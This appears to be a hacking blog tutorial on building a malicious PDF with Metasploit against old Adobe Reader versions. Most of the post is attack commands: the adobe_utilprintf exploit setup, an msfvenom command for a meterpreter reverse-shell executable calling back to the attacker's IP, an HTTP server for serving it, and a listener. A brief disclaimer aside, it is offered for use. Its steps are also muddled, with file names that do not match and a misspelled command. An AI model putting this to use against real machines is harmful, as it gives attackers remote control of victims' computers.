**How to make Hacking PDF | Malicious PDF**

In this post, we will generate our own malicious PDF using Metasploit. We will use an old exploit for another old vulnerable Adobe Reader version :) **The exploit is still working on a specific version of Adobe Reader** which is a **vulnerable Adobe Reader version** (less than 8.1.2). So, you need to install this vulnerable version first on your Windows target machine as explained in the Metasploit module.

**This post is only for research and education purposes**. I am will not be responsible for any harm.

Malicious PDF is one of the easiest ways to hack users because this document format and the Adobe Reader (PDF reader) are used by almost everyone. Right?

Here we are gonna use **adobe\_utilprintf** vulnerability. We can do this in Social Engineering Toolkit also.

I hope you have a Linux system with you. Because this is the need for this hack. I don't want to spoonfeed you by saying turn on the PC, now open terminal, and blah blah... Just open Metasploit first and start making the exploit by using the below code:

use exploit/windows/fileformat/adobe\_utilprintf  
set filename malicious.pdf  
set payload windows/exec  
set cmd malware.exe  
exploit

The reference image is attached to this post. The code is executed line by line(I hope you know this much). Now time to make reverse shell executable use the below code. Copy the malicious pdf to a directory where we are gonna set up our HTTP server and create a reverse shell executable using msfvenom. It's very important to change LHOST with your IP, don't miss that.

msvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.83.128 LPORT=1111 -f exe > malware.exe   
<<<Please take care of the spaces, and yes, the text written in this bracket is not included in the command. The command is till malware.exe>>>

You can use the below python line to step up the local HTTP server:

python -m SimpleHTTPServer

Rename **evil.exe** to **malware.exe,** download both of the files and copy **malware.exe** to the **System32** folder. Now you must have two files: malware.pdf and evil.exe. Now time to listen...listen to the reverse shell and wait for the execution of the file :) Use the below code:

use exploit/multi/handler  
set payload windows/meterpreter/reverse\_tcp  
set lhost 192.168.83.128  
set lport 1111  
run

NOw after we double-click the PDF, the exploit will run. So, our classic exploit is successful! From this post, we started upgrading our level. Get ready for more such exploits.